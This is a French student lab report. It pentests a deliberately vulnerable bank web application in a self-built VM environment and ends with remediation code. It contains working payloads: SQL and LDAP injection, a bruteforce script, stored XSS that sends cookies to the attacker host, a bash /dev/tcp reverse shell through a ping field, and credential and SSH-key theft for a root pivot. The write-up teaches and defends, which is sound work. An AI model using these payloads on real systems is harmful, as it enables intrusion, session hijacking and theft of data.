¶ Introduction aux Pentesting & Infrastructure
¶ I. Infrastructure & Démarrage
¶ Checklist de Démarrage - Projet Banque
À exécuter dans l'ordre à chaque redémarrage des machines virtuelles.
Rétablit le réseau et l'accès Internet (NAT/Forwarding).
sysctl -w net.ipv4.ip_forward=1<iptables -t nat -A POSTROUTING -o enp1s0 -j MASQUERADEiptables -P FORWARD ACCEPTSi le site ne charge pas, lancez ces commandes.
¶ Sur VM DMZ (Web) :
systemctl start apache2¶ Sur VM INTERNE (BDD/LDAP) :
systemctl start mariadbsystemctl start slapdCréation du Tunnel SSH pour accéder au site localement.
ssh -L 8080:192.168.10.10:80 qamu@192.168.122.100source env_cyber/bin/activatehttp://localhost:8080/banque¶ Scénario d'Attaque SAE Banque Privée
Ce rapport détaille la méthodologie complète de pentesting, partant d'aucune connaissance de l'infrastructure (Black Box) jusqu'à la compromission totale du système bancaire.
¶ Infrastructure
- Serveur Web (DMZ) : 192.168.122.100:8080
- Serveur BDD (Interne) : 192.168.20.10
- Machine Attaquant (Kali) : 192.168.122.101
¶ Phase 1 : Reconnaissance (SQL Injection)
¶ Situation
L'attaquant explore le site public. Il identifie un formulaire de recherche sur la page public.php.
¶ Action
Injection d'une charge utile SQL (Payload) pour détourner la requête et afficher le contenu de la table des utilisateurs.
¶ Vecteur d'attaque (Navigateur)
URL cible :
http://192.168.122.100:8080/banque/public.phpPayload SQL Injection :
deded' UNION SELECT 1,schema_name,2,3 FROM information_schema.schemata-- desas' UNION SELECT 1,table_name,2,3 FROM information_schema.tables WHERE table_schema='ctf_bank'-- desee' UNION SELECT 1,column_name,2,3 FROM information_schema.columns WHERE table_name='users'-- ' UNION SELECT 1, username, password_hash, role_id FROM users -- ¶ Résultat
Le site révèle tous les utilisateurs de la base de données :
- samy (role_id: 2) - Junior Banker
- admin (role_id: 1) - Director
- julie, lucas, sarah, robert, etc.
¶ Phase 2 : Accès Initial (Bruteforce)
¶ Situation
L'attaquant dispose d'un nom d'utilisateur (samy) découvert en Phase 1, mais pas de son mot de passe. Il cible la page de connexion index.php.
¶ Action
Lancement d'un script Python automatisé pour tester une liste de mots de passe courants.
¶ Script de Bruteforce
Création du script :
nano bruteforce.pyContenu du script :
import requests
url = "http://localhost:8080/banque/index.php"
username = "samy"
passwords = ['123456', 'password', 'dragon', 'admin', 'welcome', '020103']
for password in passwords:
data = {'username': username, 'password': password}
try:
r = requests.post(url, data=data)
if "Protocole" not in r.text:
print(f"[+] VICTOIRE ! Mot de passe : {password}")
break
else:
print(f"[-] Echec : {password}")
except:
print("[!] Erreur de connexion au serveur.")
break
¶ Exécution de l'attaque
chmod +x bruteforce.py
python3 bruteforce.py
Résultat :
[*] Attaque sur l'utilisateur : samy
[*] URL cible : http://192.168.122.100:8080/banque/index.php
--------------------------------------------------
[-] Test : 123456 Échec
[-] Test : password Échec
[-] Test : 12345678 Échec
[-] Test : qwerty Échec
[-] Test : abc123 Échec
[-] Test : monkey Échec
[-] Test : 1234567 Échec
[-] Test : letmein Échec
[-] Test : trustno1 Échec
[-] Test : dragon
[+] SUCCÈS : Mot de passe trouvé -> dragon
[+] Credentials : samy:dragon
¶ Connexion réussie
Connexion manuelle à l'interface avec les credentials samy:dragon.
Warning : Le site ne possède aucun mécanisme permettant des tentatives de connexion illimitées.
¶ Phase 3 : Élévation Horizontale (LDAP Injection)
¶ Situation
L'attaquant est connecté sur l'Intranet avec le compte de Samy. L'annuaire LDAP semble filtrer les résultats pour ne montrer que certains employés. Une recherche simple sur "admin" ne renvoie rien.
¶ Analyse
Comme l'attaquant est sur l'intranet et que l'attaquant cherche des employés dans l'annuaire de l'entreprise, il est fort probable que derriere le site utilise le protocole LDAP plutôt que du SQL. C'est le standard pour la gestion des identités
¶ Vecteur d'attaque (Navigateur)
URL cible :
http://192.168.122.100:8080/banque/dashboard.phpPayload LDAP Injection :
Pour contourner ce filtre et voir tous les utilisateurs, il utilise un wildcard LDAP.
*¶ Résultat
Le filtre de sécurité est contourné. Tous les utilisateurs LDAP apparaissent dans les résultats, incluant :
- samy - Samy - Junior Banker - Agence Paris Sud
- admin - Administrateur Système - ADMIN - Consulte les rapports incidents
- julie - Julie - Responsable Finance
- lucas - Lucas - Support Informatique N2
- sarah, robert, nina
Succès : Information critique découverte : L'administrateur consulte les rapports d'incidents, ce qui ouvre la voie à une attaque XSS.
¶ Phase 4 : Élévation de Privilèges (XSS Stored)
¶ Situation
L'objectif est de voler la session de l'Administrateur. Le formulaire "Signaler un incident" permet de stocker du contenu qui sera consulté par l'admin. Ce contenu n'est pas filtré, permettant l'injection de code JavaScript malveillant.
¶ Étape 1 : Préparer l'écouteur (Kali)
nc -lvnp 8888Résultat :
Listening on 0.0.0.0 8888¶ Étape 2 : Trouver l'IP de la machine Kali
hostname -IExemple de résultat :
192.168.122.1¶ Étape 3 : Injecter le Piège XSS
Page cible : dashboard.php (connecté en tant que samy)
Dans le formulaire "Signaler un incident", insérer le payload :
¶ Methode brutale: La commande document.location ordonne au navigateur de changer de page immédiatement.
<script>document.location='http://192.168.122.101:8888/?cookie='+document.cookie</script>¶ Méthode furtive: Le script demande au navigateur de charger une image en arrière-plan
<script>new Image().src='http://192.168.122.101:8888/?cookie='+document.cookie;</script>¶ Étape 4 : Simuler la consultation par l'admin
Dans un navigateur en mode privé ou un autre navigateur :
- Se connecter avec : admin / GoldIngot!999
- Le navigateur charge automatiquement la page
admin.php - L'admin consulte les rapports d'incidents
- Le script XSS s'exécute automatiquement
¶ Étape 5 : Récupérer le cookie volé
Retour sur le terminal Kali (netcat) :
Connection received on 192.168.122.100 45678
GET /?cookie=PHPSESSID=a7b8c9d0e1f2g3h4i5j6k7l8m9n0 HTTP/1.1
Host: 192.168.122.1:8888
User-Agent: Mozilla/5.0...
Copier le cookie : PHPSESSID=a7b8c9d0e1f2g3h4i5j6k7l8m9n0
¶ Étape 6 : Voler la session admin
Dans le navigateur principal (connecté en tant que samy) :
- Appuyer sur F12 (Outils de développement)
- Aller dans l'onglet Stockage > Cookies
- Trouver le cookie
PHPSESSID - Double-cliquer sur sa valeur
- Remplacer par le cookie volé
- Actualiser la page (F5)
- Accéder à :
http://192.168.122.100:8080/banque/admin.php
¶ Résultat
L'attaquant est maintenant connecté en tant qu'Administrateur sans connaître son mot de passe !
Succès : Session admin compromise via XSS Stored. Accès total au panneau d'administration obtenu.
Bug JS: aller sur
admin:config, puis changerTrueenFalse
¶ Phase 5 : Intrusion Système (RCE / Reverse Shell)
¶ Situation
L'attaquant est connecté en tant qu'Admin. Il accède à l'outil de diagnostic "Ping" sur la page admin.php, vulnérable à l'injection de commandes système.
¶ Étape 1 : Préparer le Shell Listener (Kali)
nc -lvnp 4444Résultat :
Listening on 0.0.0.0 4444¶ Étape 2 : L'Injection Finale (Site Web - Page Admin)
Page cible : admin.php - Section "Outil de Diagnostic Serveur"
Dans le champ "Adresse IP", injecter le payload :
127.0.0.1; bash -c 'bash -i >& /dev/tcp/192.168.122.101/4444 0>&1'Warning : Remplacez
192.168.122.101par l'IP réelle de votre machine Attaquante !
Cliquer sur "Lancer le Ping"
¶ Résultat
Retour sur le terminal Kali (netcat) :
Connection received on 192.168.122.100 54321
bash: cannot set terminal process group (645): Inappropriate ioctl for device
bash: no job control in this shell
www-data@debian:/var/www/html/banque$
Succès : Shell interactif obtenu sur le serveur web en tant que www-data !
¶ Phase 6 : Post-Exploitation & Exfiltration
¶ Situation
L'attaquant contrôle le serveur Web (DMZ - 192.168.122.100), mais la cible réelle est le serveur de base de données interne (192.168.20.10), inaccessible depuis Internet. Il fouille les fichiers de configuration.
¶ Action 1 : Récupération des credentials BDD
Dans le reverse shell :
cat db.phpRésultat :
<?php
$servername = "192.168.20.10";
$username = "ctf_admin";
$password = "password123";
$dbname = "ctf_bank";
?>
Informations découverts :
- Host :
192.168.20.10 - User :
ctf_admin - Pass :
password123 - DB :
ctf_bank
¶ Action 2 : Connexion à la base de données interne
mysql -h 192.168.20.10 -u ctf_admin -ppassword123 -D ctf_bankExplorer les tables :
SHOW TABLES;Résultat :
+--------------------+
| Tables_in_ctf_bank |
+--------------------+
| investments |
| logs |
| roles |
| transfers |
| users |
| vault |
+--------------------+
SELECT * FROM vault;+---------------------------+
| id | asset_name | value |
+---------------------------+
| 1 | ssh_root_key | -----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAh//99dLjnVBvhaldD9ewexDktCm8isk+/WpZqjnlnuhGIAv6Z6RW
+--------------------+
Info : La table vault contient des données sensibles !
¶ Action 3 : Extraction de la clé SSH depuis la table vault
mysql -h 192.168.20.10 -u ctf_admin -ppassword123 -D ctf_bank -e "SELECT value FROM vault WHERE asset_name='ssh_root_key'" > /tmp/ssh_key_raw.txtNettoyer la clé (enlever l'en-tête SQL) :
tail -n +2 /tmp/ssh_key_raw.txt > /tmp/root.keyConvertir les caractères d'échappement \n en vrais retours à la ligne :
echo -e "$(cat /tmp/root.key)" > /tmp/root_fixed.keyDéfinir les permissions :
chmod 600 /tmp/root_fixed.keyVérifier la clé :
head -n 3 /tmp/root_fixed.keyRésultat attendu :
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAh//99dLjnVBvhaldD9ewexDktCm8isk+/WpZqjnlnuhGIAv6Z6RW
Succès : Clé SSH privée du serveur interne extraite avec succès !
¶ Phase 7 : Le Pivot Final (Root sur l'Interne)
¶ Situation
L'attaquant possède la clé privée SSH du serveur interne. Il l'utilise pour lancer une connexion SSH depuis le serveur Web (DMZ) vers le serveur Interne (Pivot).
¶ Connexion SSH au serveur interne
Dans le reverse shell :
ssh -i /tmp/root_fixed.key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@192.168.20.10Explication des options :
-i /tmp/root_fixed.key: Spécifie la clé privée-o StrictHostKeyChecking=no: Accepte automatiquement la clé du serveur (évite l'interaction yes/no)-o UserKnownHostsFile=/dev/null: Ne sauvegarde pas la clé (évite les erreurs d'écriture)
¶ Résultat Final
Linux debian 6.1.0-25-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.106-3 (2024-08-26) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@debian:~#
Vérification des privilèges :
whoami
id
hostname
Résultat :
root
uid=0(root) gid=0(root) groups=0(root)
debian
Succès : ACCÈS ROOT COMPLET au serveur de base de données interne (192.168.20.10) ! L'attaquant a pris le contrôle total de l'infrastructure bancaire.
¶ Résumé de la Chaîne d'Attaque
| Phase | Technique | Cible | Résultat |
|---|---|---|---|
| 1 | SQL Injection | public.php | Découverte des utilisateurs (samy, admin) |
| 2 | Bruteforce | index.php | Information : samy:dragon |
| 3 | LDAP Injection | dashboard.php | Découverte admin + info "consulte les rapports" |
| 4 | XSS Stored | dashboard.php → admin.php | Vol du cookie PHPSESSID de l'admin |
| 5 | RCE / Command Injection | admin.php | Shell www-data sur serveur DMZ (192.168.122.100) |
| 6 | Post-Exploitation | db.php + MySQL | Extraction clé SSH depuis table vault |
| 7 | SSH Pivot | 192.168.20.10 | ROOT sur serveur BDD interne |
¶ Infrastructure Compromise
[INTERNET]
|
[ATTAQUANT KALI - 192.168.122.1]
| SQL Injection / Bruteforce / XSS / RCE
[SERVEUR WEB DMZ - 192.168.122.100] Shell www-data
| Exfiltration clé SSH (table vault)
[SERVEUR BDD INTERNE - 192.168.20.10] ROOT ACCESS
¶ Données Compromises
¶ Table users
- Tous les utilisateurs de la banque
- Leurs rôles et permissions
- Hashes MD5 des mots de passe (faibles et cassables)
¶ Table vault
- Clé SSH privée du serveur root
- Potentiellement d'autres secrets stockés
¶ Table logs
- Historique des actions des employés
- Rapports d'incidents
¶ Tables financières
- investments (investissements clients)
- transfers (virements bancaires)
Warning : Impact critique : Accès complet aux données bancaires sensibles, contrôle total des serveurs, possibilité de manipulation des transactions, exfiltration de données clients.
¶ Recommandations de Sécurité
¶ Phase 1 - SQL Injection
- Utiliser des requêtes préparées pour toutes les requêtes SQL
- Valider et assainir toutes les entrées utilisateur
- Pour sécuriser cette faille, la priorité absolue est de réécrire le code en utilisant des requêtes préparées pour empêcher l'interprétation des commandes SQL. En complément, nous devons appliquer le principe de moindre privilège sur le compte de base de données pour limiter l'impact en cas de compromission, et désactiver l'affichage des erreurs pour ne pas aider l'attaquant
Correction :
$stmt = $conn->prepare("SELECT id, username, password_hash, role_id FROM users WHERE username LIKE ?");
$search = "%$_POST['search']%";
$stmt->bind_param("s", $search);
$stmt->execute();
¶ Phase 2 - Bruteforce
- Implémenter un rate limiting (limite de tentatives de connexion)
- Ajouter un CAPTCHA après 3 échecs
- Utiliser des mots de passe forts avec politique de complexité
- Implémenter l'authentification à deux facteurs (2FA)
- Bloquer temporairement les IP après 5 tentatives échouées
Correction :
// Limiter à 5 tentatives par IP toutes les 15 minutes
$ip = $_SERVER['REMOTE_ADDR'];
$attempts = get_login_attempts($ip);
if ($attempts > 5) {
exit("Trop de tentatives. Réessayez dans 15 minutes.");
}
¶ Phase 3 - LDAP Injection
- Échapper tous les caractères spéciaux LDAP :
* ( ) \ / NUL - Utiliser des fonctions d'échappement LDAP natives
- Limiter les résultats de recherche par rôle
- Utiliser LDAPS (LDAP over SSL/TLS)
Correction :
// On récupère la recherche de l'utilisateur
$search = $_GET['search'];
// On utilise la fonction native de PHP pour sécuriser (disponible depuis PHP 5.6)
// LDAP_ESCAPE_FILTER dit à PHP : "Prépare ça pour aller dans un filtre (...)"
$safe_search = ldap_escape($search, "", LDAP_ESCAPE_FILTER);
// On construit la requête sécurisée
$filter = "(&(uid=" . $safe_search . ")(description=employee))";
- Action : Utilisation de la fonction native ldap_escape() avec l'option LDAP_ESCAPE_FILTER.
- Mécanisme : Elle neutralise les caractères spéciaux (comme * ou () en les convertissant en code hexadécimal (ex: * devient \2a).
- Résultat : L'entrée de l'attaquant est forcée à être lue comme du texte brut et ne peut plus modifier la logique du filtre de recherche.
¶ Phase 4 - XSS Stored
- Utiliser htmlspecialchars() sur TOUTES les sorties
- Implémenter une Content Security Policy (CSP)
- Valider et assainir les entrées côté serveur
- Utiliser des frameworks avec échappement automatique
Correction :
// Stockage
$stmt = $conn->prepare("INSERT INTO logs (entry, date) VALUES (?, NOW())");
$stmt->bind_param("s", $_POST['rapport']);
$stmt->execute();
// Affichage
echo htmlspecialchars($row['entry'], ENT_QUOTES, 'UTF-8');
¶ Phase 5 - Command Injection
- JAMAIS exécuter de commandes shell avec des entrées utilisateur
- Utiliser des fonctions natives PHP plutôt que shell_exec()
- Utiliser escapeshellarg()
Correction :
// Valider que c'est une IP valide
$ip = filter_var($_POST['ip_ping'], FILTER_VALIDATE_IP);
if ($ip === false) {
die("Adresse IP invalide");
}
// Utiliser uniquement des commandes sûres
$cmd_result = shell_exec("ping -c 1 " . escapeshellarg($ip));
- Action : Mise en place d'une double barrière de sécurité (Validation + Échappement).
- Mécanisme 1 (Validation) : filter_var(..., FILTER_VALIDATE_IP) vérifie strictement le format. Si l'attaquant ajoute un ; ou une lettre, l'entrée est rejetée avant même d'être exécutée.
- Mécanisme 2 (Échappement) : escapeshellarg() entoure l'entrée de guillemets simples. Même si la validation échouait, 127.0.0.1; ls deviendrait '127.0.0.1; ls', traité comme une simple chaîne de caractères et non une commande.
- Résultat : L'exécution de code arbitraire est impossible, seule la commande ping prévue fonctionne.
¶ Phase 6 & 7 - Exfiltration & Pivot
- NE JAMAIS stocker de credentials en clair dans le code source
- Utiliser des variables d'environnement ou des gestionnaires de secrets
- Chiffrer les données sensibles dans la base de données
- Segmenter le réseau (firewall entre DMZ et réseau interne)
- Limiter les accès SSH par clé + IP source
- Désactiver l'accès SSH root (utiliser sudo)
- Rotation régulière des clés SSH
- Monitoring et alertes sur les accès SSH
Correction :
// Utiliser des variables d'environnement
$servername = getenv('DB_HOST');
$username = getenv('DB_USER');
$password = getenv('DB_PASS');
$dbname = getenv('DB_NAME');